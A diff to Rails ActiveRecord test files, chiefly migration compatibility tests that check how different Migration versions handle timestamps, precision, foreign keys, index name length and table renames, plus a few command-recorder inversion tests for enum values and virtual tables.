+
+      def test_invert_add_enum_value
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :add_enum_value, [:dog_breed, :beagle]
+        end
+      end
+
+      def test_invert_rename_enum_value
+        enum_value = @recorder.inverse_of :rename_enum_value, [:dog_breed, from: :retriever, to: :beagle]
+        assert_equal [:rename_enum_value, [:dog_breed, from: :beagle, to: :retriever]], enum_value
+      end
+
+      def test_invert_rename_enum_value_without_from
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :rename_enum_value, [:dog_breed, to: :retriever]
+        end
+      end
+
+      def test_invert_rename_enum_value_without_to
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :rename_enum_value, [:dog_breed, from: :beagle]
+        end
+      end
+
+      def test_invert_create_virtual_table
+        drop = @recorder.inverse_of :create_virtual_table, [:searchables, :fts5, ["content", "meta UNINDEXED", "tokenize='porter ascii'"]]
+        assert_equal [:drop_virtual_table, [:searchables, :fts5, ["content", "meta UNINDEXED", "tokenize='porter ascii'"]], nil], drop
+      end
+
+      def test_invert_drop_virtual_table
+        create = @recorder.inverse_of :drop_virtual_table, [:searchables, :fts5, ["title", "content"]]
+        assert_equal [:create_virtual_table, [:searchables, :fts5, ["title", "content"]], nil], create
+      end
+
+      def test_invert_drop_virtual_table_without_options
+        assert_raises(ActiveRecord::IrreversibleMigration) do
+          @recorder.inverse_of :drop_virtual_table, [:searchables]
+        end
+      end
     end
   end
 end
diff --git a/activerecord/test/cases/migration/compatibility_test.rb b/activerecord/test/cases/migration/compatibility_test.rb
index 7a80bfb899426..8b2e0a7516f27 100644
--- a/activerecord/test/cases/migration/compatibility_test.rb
+++ b/activerecord/test/cases/migration/compatibility_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "support/schema_dumping_helper"
 
@@ -7,14 +9,21 @@ class CompatibilityTest < ActiveRecord::TestCase
       attr_reader :connection
       self.use_transactional_tests = false
 
+      class TestModel < ActiveRecord::Base
+        self.table_name = :testings
+      end
+
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
+        @pool = ActiveRecord::Base.connection_pool
+        @schema_migration = @pool.schema_migration
+        @internal_metadata = @pool.internal_metadata
         @verbose_was = ActiveRecord::Migration.verbose
         ActiveRecord::Migration.verbose = false
 
         connection.create_table :testings do |t|
-          t.column :foo, :string, limit: 100
+          t.column :foo, :string, limit: 5
           t.column :bar, :string, limit: 100
         end
       end
@@ -22,7 +31,7 @@ def setup
       teardown do
         connection.drop_table :testings rescue nil
         ActiveRecord::Migration.verbose = @verbose_was
-        ActiveRecord::SchemaMigration.delete_all rescue nil
+        @schema_migration.delete_all_versions rescue nil
       end
 
       def test_migration_doesnt_remove_named_index
@@ -36,7 +45,7 @@ def migrate(x)
         }.new
 
         assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
-        assert_raise(StandardError) { ActiveRecord::Migrator.new(:up, [migration]).migrate }
+        assert_raise(StandardError) { ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate }
         assert connection.index_exists?(:testings, :foo, name: "custom_index_name")
       end
 
@@ -51,7 +60,7 @@ def migrate(x)
         }.new
 
         assert connection.index_exists?(:testings, :bar)
-        ActiveRecord::Migrator.new(:up, [migration]).migrate
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
         assert_not connection.index_exists?(:testings, :bar)
       end
 
@@ -65,7 +74,7 @@ def migrate(x)
           end
         }.new
 
-        ActiveRecord::Migrator.new(:up, [migration]).migrate
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
         assert_not connection.index_exists?(:more_testings, :foo_id)
         assert_not connection.index_exists?(:more_testings, :bar_id)
@@ -82,14 +91,46 @@ def migrate(x)
           end
         }.new
 
-        ActiveRecord::Migrator.new(:up, [migration]).migrate
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
-        assert connection.columns(:more_testings).find { |c| c.name == "created_at" }.null
-        assert connection.columns(:more_testings).find { |c| c.name == "updated_at" }.null
+        assert connection.column_exists?(:more_testings, :created_at, null: true)
+        assert connection.column_exists?(:more_testings, :updated_at, null: true)
       ensure
         connection.drop_table :more_testings rescue nil
       end
 
+      def test_timestamps_have_null_constraints_if_not_present_in_migration_of_change_table
+        migration = Class.new(ActiveRecord::Migration[4.2]) {
+          def migrate(x)
+            change_table :testings do |t|
+              t.timestamps
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :created_at, null: true)
+        assert connection.column_exists?(:testings, :updated_at, null: true)
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_bulk_alter?
+        def test_timestamps_have_null_constraints_if_not_present_in_migration_of_change_table_with_bulk
+          migration = Class.new(ActiveRecord::Migration[4.2]) {
+            def migrate(x)
+              change_table :testings, bulk: true do |t|
+                t.timestamps
+              end
+            end
+          }.new
+
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+          assert connection.column_exists?(:testings, :created_at, null: true)
+          assert connection.column_exists?(:testings, :updated_at, null: true)
+        end
+      end
+
       def test_timestamps_have_null_constraints_if_not_present_in_migration_for_adding_timestamps_to_existing_table
         migration = Class.new(ActiveRecord::Migration[4.2]) {
           def migrate(x)
@@ -97,125 +138,1222 @@ def migrate(x)
           end
         }.new
 
-        ActiveRecord::Migrator.new(:up, [migration]).migrate
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :created_at, null: true)
+        assert connection.column_exists?(:testings, :updated_at, null: true)
+      end
+
+      def test_timestamps_doesnt_set_precision_on_create_table
+        migration = Class.new(ActiveRecord::Migration[5.2]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.timestamps
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:more_testings, :created_at, null: false, **precision_implicit_default)
+        assert connection.column_exists?(:more_testings, :updated_at, null: false, **precision_implicit_default)
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
+
+      def test_timestamps_doesnt_set_precision_on_change_table
+        migration = Class.new(ActiveRecord::Migration[5.2]) {
+          def migrate(x)
+            change_table :testings do |t|
+              t.timestamps default: Time.now
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :created_at, null: false, **precision_implicit_default)
+        assert connection.column_exists?(:testings, :updated_at, null: false, **precision_implicit_default)
+      end
+
+      if ActiveRecord::Base.lease_connection.supports_bulk_alter?
+        def test_timestamps_doesnt_set_precision_on_change_table_with_bulk
+          migration = Class.new(ActiveRecord::Migration[5.2]) {
+            def migrate(x)
+              change_table :testings, bulk: true do |t|
+                t.timestamps
+              end
+            end
+          }.new
+
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+          assert connection.column_exists?(:testings, :created_at, null: false, **precision_implicit_default)
+          assert connection.column_exists?(:testings, :updated_at, null: false, **precision_implicit_default)
+        end
+      end
+
+      def test_timestamps_doesnt_set_precision_on_add_timestamps
+        migration = Class.new(ActiveRecord::Migration[5.2]) {
+          def migrate(x)
+            add_timestamps :testings, default: Time.now
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
-        assert connection.columns(:testings).find { |c| c.name == "created_at" }.null
-        assert connection.columns(:testings).find { |c| c.name == "updated_at" }.null
+        assert connection.column_exists?(:testings, :created_at, null: false, **precision_implicit_default)
+        assert connection.column_exists?(:testings, :updated_at, null: false, **precision_implicit_default)
       end
 
       def test_legacy_migrations_raises_exception_when_inherited
         e = assert_raises(StandardError) do
           class_eval("class LegacyMigration < ActiveRecord::Migration; end")
         end
-        assert_match(/LegacyMigration < ActiveRecord::Migration\[4\.2\]/, e.message)
+        assert_match(/LegacyMigration < ActiveRecord::Migration\[\d\.\d\]/, e.message)
       end
-    end
-  end
-end
 
-class LegacyPrimaryKeyTest < ActiveRecord::TestCase
-  include SchemaDumpingHelper
+      def test_legacy_migrations_not_raise_exception_on_reverting_transaction
+        migration = Class.new(ActiveRecord::Migration[5.2]) {
+          def change
+            transaction do
+              execute "select 1"
+            end
+          end
+        }.new
 
-  self.use_transactional_tests = false
+        assert_nothing_raised do
+          migration.migrate(:down)
+        end
+      end
 
-  class LegacyPrimaryKey < ActiveRecord::Base
-  end
+      if ActiveRecord::Base.lease_connection.supports_comments?
+        def test_change_column_comment_can_be_reverted
+          migration = Class.new(ActiveRecord::Migration[5.2]) {
+            def migrate(x)
+              revert do
+                change_column_comment(:testings, :foo, "comment")
+              end
+            end
+          }.new
 
-  def setup
-    @migration = nil
-    @verbose_was = ActiveRecord::Migration.verbose
-    ActiveRecord::Migration.verbose = false
-  end
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          assert connection.column_exists?(:testings, :foo, comment: "comment")
+        end
 
-  def teardown
-    @migration.migrate(:down) if @migration
-    ActiveRecord::Migration.verbose = @verbose_was
-    ActiveRecord::SchemaMigration.delete_all rescue nil
-    LegacyPrimaryKey.reset_column_information
-  end
+        def test_change_table_comment_can_be_reverted
+          migration = Class.new(ActiveRecord::Migration[5.2]) {
+            def migrate(x)
+              revert do
+                change_table_comment(:testings, "comment")
+              end
+            end
+          }.new
+
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
-  def test_legacy_primary_key_should_be_auto_incremented
-    @migration = Class.new(ActiveRecord::Migration[5.0]) {
-      def change
-        create_table :legacy_primary_keys do |t|
-          t.references :legacy_ref
+          assert_equal "comment", connection.table_comment("testings")
         end
       end
-    }.new
 
-    @migration.migrate(:up)
+      def test_create_table_allows_duplicate_column_names
+        migration = Class.new(ActiveRecord::Migration[5.2]) {
+          def migrate(x)
+            create_table :tests do |t|
+              t.integer :some_id
+              t.string :some_id
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
-    legacy_pk = LegacyPrimaryKey.columns_hash["id"]
-    assert_not legacy_pk.bigint?
-    assert_not legacy_pk.null
+        column = connection.columns(:tests).find { |column| column.name == "some_id" }
+        assert_equal :string, column.type
+      ensure
+        connection.drop_table :tests, if_exists: true
+      end
 
-    legacy_ref = LegacyPrimaryKey.columns_hash["legacy_ref_id"]
-    assert_not legacy_ref.bigint?
+      if current_adapter?(:PostgreSQLAdapter)
+        class Testing < ActiveRecord::Base
+        end
 
-    record1 = LegacyPrimaryKey.create!
-    assert_not_nil record1.id
+        def test_legacy_change_column_with_null_executes_update
+          migration = Class.new(ActiveRecord::Migration[5.1]) {
+            def migrate(x)
+              change_column :testings, :foo, :string, limit: 10, null: false, default: "foobar"
+            end
+          }.new
 
-    record1.destroy
+          Testing.create!
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          assert_equal ["foobar"], Testing.all.map(&:foo)
+        ensure
+          ActiveRecord::Base.clear_cache!
+        end
+      end
 
-    record2 = LegacyPrimaryKey.create!
-    assert_not_nil record2.id
-    assert_operator record2.id, :>, record1.id
-  end
+      def test_timestamps_sets_default_precision_on_create_table
+        migration = Class.new(ActiveRecord::Migration[6.1]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.timestamps
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:more_testings, :created_at, precision: 6)
+        assert connection.column_exists?(:more_testings, :updated_at, precision: 6)
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
+
+      def test_datetime_doesnt_set_precision_on_add_column_5_0
+        migration = Class.new(ActiveRecord::Migration[5.0]) {
+          def migrate(x)
+            add_column :testings, :published_at, :datetime, default: Time.now
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :published_at, **precision_implicit_default)
+      end
+
+      def test_datetime_doesnt_set_precision_on_add_column_6_1
+        migration = Class.new(ActiveRecord::Migration[6.1]) {
+          def migrate(x)
+            add_column :testings, :published_at, :datetime, default: Time.now
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :published_at, **precision_implicit_default)
+      end
+
+      def test_change_table_allows_if_exists_option_on_7_0
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def migrate(x)
+            change_table(:testings) do |t|
+              t.remove :foo, if_exists: true
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert_not connection.column_exists?(:testings, :foo)
+      end
+
+      def test_add_reference_allows_if_exists_option_on_7_0
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def migrate(x)
+            add_reference :testings, :widget, if_not_exists: true
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        assert connection.column_exists?(:testings, :widget_id)
+      end
+
+      def test_references_on_create_table_on_6_0
+        migration = Class.new(ActiveRecord::Migration[6.0]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.references :testings
+            end
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
 
-  def test_legacy_integer_primary_key_should_not_be_auto_incremented
-    skip if current_adapter?(:SQLite3Adapter)
+        column = connection.columns(:more_testings).find { |el| el.name == "testings_id" }
 
-    @migration = Class.new(ActiveRecord::Migration[5.0]) {
-      def change
-        create_table :legacy_primary_keys, id: :integer do |t|
+        if current_adapter?(:SQLite3Adapter)
+          assert_match(/integer/i, column.sql_type)
+        else
+          assert_predicate(column, :bigint?)
         end
+      ensure
+        connection.drop_table :more_testings rescue nil
       end
-    }.new
 
-    @migration.migrate(:up)
+      def test_add_index_errors_on_too_long_name_7_0
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def migrate(x)
+            add_column :testings, :very_long_column_name_to_test_with, :string
+            add_index :testings, [:foo, :bar, :very_long_column_name_to_test_with]
+          end
+        }.new
 
-    assert_raises(ActiveRecord::NotNullViolation) do
-      LegacyPrimaryKey.create!
-    end
+        error = assert_raises(StandardError) do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+        end
 
-    schema = dump_table_schema "legacy_primary_keys"
-    assert_match %r{create_table "legacy_primary_keys", id: :integer, default: nil}, schema
-  end
+        assert_match(/index_testings_on_foo_and_bar_and_very_long_column_name_to_test_with/i, error.message)
+        assert_match(/is too long/i, error.message)
+      end
 
-  if current_adapter?(:Mysql2Adapter)
-    def test_legacy_bigint_primary_key_should_be_auto_incremented
-      @migration = Class.new(ActiveRecord::Migration[5.0]) {
-        def change
-          create_table :legacy_primary_keys, id: :bigint
+      def test_create_table_add_index_errors_on_too_long_name_7_0
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.integer :foo
+              t.integer :bar
+              t.integer :very_long_column_name_to_test_with
+              t.index [:foo, :bar, :very_long_column_name_to_test_with]
+            end
+          end
+        }.new
+
+        error = assert_raises(StandardError) do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
         end
-      }.new
 
-      @migration.migrate(:up)
+        assert_match(/index_more_testings_on_foo_and_bar_and_very_long_column_name_to_test_with/i, error.message)
+        assert_match(/is too long/i, error.message)
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
 
-      legacy_pk = LegacyPrimaryKey.columns_hash["id"]
-      assert legacy_pk.bigint?
-      assert legacy_pk.auto_increment?
+      def test_rename_table_errors_on_too_long_index_name_7_0
+        long_table_name = "a" * connection.table_name_length
 
-      schema = dump_table_schema "legacy_primary_keys"
-      assert_match %r{create_table "legacy_primary_keys", (?!id: :bigint, default: nil)}, schema
-    end
-  else
-    def test_legacy_bigint_primary_key_should_not_be_auto_incremented
-      @migration = Class.new(ActiveRecord::Migration[5.0]) {
-        def change
-          create_table :legacy_primary_keys, id: :bigint do |t|
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def migrate(x)
+            add_index :testings, :foo
+            long_table_name = "a" * connection.table_name_length
+            rename_table :testings, long_table_name
           end
+        }.new
+
+        error = assert_raises(StandardError) do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
         end
-      }.new
 
-      @migration.migrate(:up)
+        assert_match(/index_#{long_table_name}_on_foo/i, error.message)
+        assert_match(/is too long/i, error.message)
+      ensure
+        connection.drop_table long_table_name, if_exists: true
+      end
 
-      assert_raises(ActiveRecord::NotNullViolation) do
-        LegacyPrimaryKey.create!
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        def test_change_table_collation_not_unset_7_0
+          migration = Class.new(ActiveRecord::Migration[7.0]) {
+            def migrate(x)
+              add_column :testings, :txt_collated, :string, charset: "utf8mb4", collation: "utf8mb4_general_ci"
+              change_column :testings, :txt_collated, :string, default: "hi", collation: "utf8mb4_esperanto_ci"
+            end
+          }.new
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          column = @connection.columns(:testings).find { |c| c.name == "txt_collated" }
+          assert_equal "hi", column.default
+          assert_equal "utf8mb4_esperanto_ci", column.collation
+        end
       end
 
-      schema = dump_table_schema "legacy_primary_keys"
-      assert_match %r{create_table "legacy_primary_keys", id: :bigint, default: nil}, schema
-    end
+      def test_add_reference_on_6_0
+        create_migration = Class.new(ActiveRecord::Migration[6.0]) {
+          def version; 100 end
+          def migrate(x)
+            create_table :more_testings do |t|
+              t.string :test
+            end
+          end
+        }.new
+
+        migration = Class.new(ActiveRecord::Migration[6.0]) {
+          def version; 101 end
+          def migrate(x)
+            add_reference :more_testings, :testings
+          end
+        }.new
+
+        ActiveRecord::Migrator.new(:up, [create_migration, migration], @schema_migration, @internal_metadata).migrate
+
+        column = connection.columns(:more_testings).find { |el| el.name == "testings_id" }
+
+        if current_adapter?(:SQLite3Adapter)
+          assert_match(/integer/i, column.sql_type)
+        else
+          assert_predicate(column, :bigint?)
+        end
+      ensure
+        connection.drop_table :more_testings rescue nil
+      end
+
+      def test_create_table_on_7_0
+        long_table_name = "a" * (connection.table_name_length + 1)
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          @@long_table_name = long_table_name
+          def version; 100 end
+          def migrate(x)
+            create_table @@long_table_name
+          end
+        }.new
+
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          # MySQL does not allow to create table names longer than limit
+          error = assert_raises(StandardError) do
+            ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          end
+          if connection.mariadb?
+            assert_match(/Incorrect table name '#{long_table_name}'/i, error.message)
+          else
+            assert_match(/Identifier name '#{long_table_name}' is too long/i, error.message)
+          end
+        else
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          assert connection.table_exists?(long_table_name)
+        end
+      ensure
+        connection.drop_table(long_table_name) rescue nil
+      end
+
+      def test_rename_table_on_7_0
+        long_table_name = "a" * (connection.table_name_length + 1)
+        connection.create_table(:more_testings)
+
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          @@long_table_name = long_table_name
+          def version; 100 end
+          def migrate(x)
+            rename_table :more_testings, @@long_table_name
+          end
+        }.new
+
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          # MySQL does not allow to create table names longer than limit
+          error = assert_raises(StandardError) do
+            ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          end
+          if connection.mariadb?
+            assert_match(/Incorrect table name '#{long_table_name}'/i, error.message)
+          else
+            assert_match(/Identifier name '#{long_table_name}' is too long/i, error.message)
+          end
+        else
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          assert connection.table_exists?(long_table_name)
+          assert_not connection.table_exists?(:more_testings)
+          assert connection.table_exists?(long_table_name)
+        end
+      ensure
+        connection.drop_table(:more_testings) rescue nil
+        connection.drop_table(long_table_name) rescue nil
+      end
+
+      def test_invert_rename_table_on_7_0
+        connection.create_table(:more_testings)
+
+        migration = Class.new(ActiveRecord::Migration[7.0]) {
+          def change
+            rename_table :more_testings, :new_more_testings
+          end
+        }.new
+
+        migration.migrate(:up)
+        assert connection.table_exists?(:new_more_testings)
+        assert_not connection.table_exists?(:more_testings)
+
+        migration.migrate(:down)
+        assert_not connection.table_exists?(:new_more_testings)
+        assert connection.table_exists?(:more_testings)
+      ensure
+        connection.drop_table(:more_testings) rescue nil
+        connection.drop_table(:new_more_testings) rescue nil
+      end
+
+      def test_change_column_null_with_non_boolean_arguments_raises_in_a_migration
+        migration = Class.new(ActiveRecord::Migration[7.1]) do
+          def up
+            add_column :testings, :name, :string
+            change_column_null :testings, :name, from: true, to: false
+          end
+        end
+        e = assert_raise(StandardError) do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+        end
+        assert_includes e.message, "change_column_null expects a boolean value (true for NULL, false for NOT NULL). Got: #{{ from: true, to: false }}"
+      end
+
+      def test_change_column_null_with_non_boolean_arguments_does_not_raise_in_old_rails_versions
+        migration = Class.new(ActiveRecord::Migration[7.0]) do
+          def up
+            add_column :testings, :name, :string
+            change_column_null :testings, :name, from: true, to: false
+          end
+        end
+        assert_nothing_raised do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+        end
+        assert_difference("TestModel.count" => 1) do
+          TestModel.create!(name: nil)
+        end
+      end
+
+      def test_change_column_null_with_boolean_arguments_does_not_raise_in_old_rails_versions
+        migration = Class.new(ActiveRecord::Migration[7.0]) do
+          def up
+            add_column :testings, :name, :string
+            change_column_null :testings, :name, false
+          end
+        end
+        assert_nothing_raised do
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+        end
+        assert_raise(ActiveRecord::NotNullViolation) do
+          TestModel.create!(name: nil)
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_disable_extension_on_7_0
+          enable_extension!(:hstore, connection)
+
+          migration = Class.new(ActiveRecord::Migration[7.0]) do
+            def up
+              add_column :testings, :settings, :hstore
+              disable_extension :hstore
+            end
+          end
+
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          assert_not connection.extension_enabled?(:hstore)
+        ensure
+          disable_extension!(:hstore, connection)
+        end
+
+        def test_legacy_add_foreign_key_with_deferrable_true
+          migration = Class.new(ActiveRecord::Migration[7.0]) {
+            def migrate(x)
+              create_table :sub_testings do |t|
+                t.bigint :testing_id
+              end
+
+              add_foreign_key(:sub_testings, :testings, name: "deferrable_foreign_key", deferrable: true)
+            end
+          }.new
+
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+          foreign_keys = Testing.lease_connection.foreign_keys("sub_testings")
+          assert_equal 1, foreign_keys.size
+          assert_equal :immediate, foreign_keys.first.deferrable
+        ensure
+          connection.drop_table(:sub_testings, if_exists: true)
+          ActiveRecord::Base.clear_cache!
+        end
+      end
+
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        def test_change_column_on_7_0
+          migration = Class.new(ActiveRecord::Migration[7.0]) do
+            def up
+              execute("ALTER TABLE testings CONVERT TO CHARACTER SET utf32")
+              change_column(:testings, :foo, "varchar(255) CHARACTER SET ascii")
+            end
+          end
+          assert_nothing_raised do
+            ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+          end
+        end
+      end
+
+      def test_remove_foreign_key_on_8_1
+        connection.create_table(:sub_testings) do |t|
+          t.references :testing, foreign_key: true, type: :bigint
+          t.references :experiment, foreign_key: { to_table: :testings }, type: :bigint
+        end
+
+        migration = Class.new(ActiveRecord::Migration[8.1]) do
+          def up
+            change_table(:sub_testings) do |t|
+              t.remove_foreign_key :testings
+              t.remove_foreign_key :testings, column: :experiment_id
+            end
+          end
+        end
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        foreign_keys = @connection.foreign_keys("sub_testings")
+        assert_equal 0, foreign_keys.size
+      ensure
+        connection.drop_table(:sub_testings, if_exists: true)
+        ActiveRecord::Base.clear_cache!
+      end
+
+      def test_remove_foreign_key_on_8_0
+        connection.create_table(:sub_testings) do |t|
+          t.references :testing, foreign_key: true, type: :bigint
+          t.references :experiment, foreign_key: { to_table: :testings }, type: :bigint
+        end
+
+        migration = Class.new(ActiveRecord::Migration[8.0]) do
+          def up
+            change_table(:sub_testings) do |t|
+              t.remove_foreign_key :testings
+              t.remove_foreign_key :testings, column: :experiment_id
+            end
+          end
+        end
+
+        assert_raise(StandardError, match: /Table 'sub_testings' has no foreign key for testings$/) {
+          ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+        }
+
+        foreign_keys = @connection.foreign_keys("sub_testings")
+        if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)
+          assert_equal 2, foreign_keys.size
+        else
+          assert_equal 1, foreign_keys.size
+        end
+      ensure
+        connection.drop_table(:sub_testings, if_exists: true)
+        ActiveRecord::Base.clear_cache!
+      end
+
+      def test_remove_foreign_key_on_7_0
+        connection.create_table(:sub_testings) do |t|
+          t.references :testing, foreign_key: true, type: :bigint
+        end
+
+        migration = Class.new(ActiveRecord::Migration[7.0]) do
+          def up
+            remove_foreign_key :sub_testings, column: "testing_id"
+          end
+        end
+
+        ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+        foreign_keys = @connection.foreign_keys("sub_testings")
+        assert_equal 0, foreign_keys.size
+      ensure
+        connection.drop_table(:sub_testings, if_exists: true)
+        ActiveRecord::Base.clear_cache!
+      end
+
+      private
+        def precision_implicit_default
+          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            { precision: 0 }
+          else
+            { precision: nil }
+          end
+        end
+    end
+  end
+end
+
+module NoOptionValidationTestCases
+  def test_options_are_not_validated
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :tests, wrong_id: false do |t|
+          t.references :some_table, wrong_primary_key: true
+          t.integer :some_id, wrong_unique: true
+          t.string :some_string_column, wrong_null: false
+        end
+
+        add_column :tests, "last_name", :string, wrong_precision: true
+
+        change_column :tests, :some_id, :float, wrong_index: true
+
+        add_reference :tests, :another_table, invalid_option: :something
+
+        change_table :tests do |t|
+          t.change :some_id, :float, null: false, wrong_index: true
+          t.integer :another_id, wrong_unique: true
+          t.references :yet_another_table, bad: :option
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.table_exists?(:tests)
+  ensure
+    connection.drop_table :tests, if_exists: true
+  end
+end
+
+module DefaultPrecisionImplicitTestCases
+  def test_datetime_doesnt_set_precision_on_change_table
+    create_migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.datetime :published_at
+        end
+      end
+    }.new(nil, 1)
+
+    change_migration = Class.new(migration_class) {
+      def migrate(x)
+        change_table :more_testings do |t|
+          t.change :published_at, :datetime, default: Time.now
+        end
+      end
+    }.new(nil, 2)
+
+    ActiveRecord::Migrator.new(:up, [create_migration, change_migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, **precision_implicit_default)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  def test_datetime_doesnt_set_precision_on_create_table
+    migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.datetime :published_at
+        end
+      end
+    }.new
+
+    ActiveRecord::Migrator.new(:up, [migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, **precision_implicit_default)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  def test_datetime_doesnt_set_precision_on_change_column
+    create_migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.date :published_at
+        end
+      end
+    }.new(nil, 0)
+
+    change_migration = Class.new(migration_class) {
+      def migrate(x)
+        change_column :more_testings, :published_at, :datetime
+      end
+    }.new(nil, 1)
+
+    ActiveRecord::Migrator.new(:up, [create_migration, change_migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, **precision_implicit_default)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
+  private
+    def precision_implicit_default
+      if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+        { precision: 0 }
+      else
+        { precision: nil }
+      end
+    end
+end
+
+module DefaultPrecisionSixTestCases
+  def test_datetime_sets_precision_6_on_change_table
+    create_migration = Class.new(migration_class) {
+      def migrate(x)
+        create_table :more_testings do |t|
+          t.datetime :published_at
+        end
+      end
+    }.new(nil, 1)
+
+    change_migration = Class.new(migration_class) {
+      def migrate(x)
+        change_table :more_testings do |t|
+          t.change :published_at, :datetime, default: Time.now
+        end
+      end
+    }.new(nil, 2)
+
+    ActiveRecord::Migrator.new(:up, [create_migration, change_migration], @schema_migration, @internal_metadata).migrate
+
+    assert connection.column_exists?(:more_testings, :published_at, precision: 6)
+  ensure
+    connection.drop_table :more_testings rescue nil
+  end
+
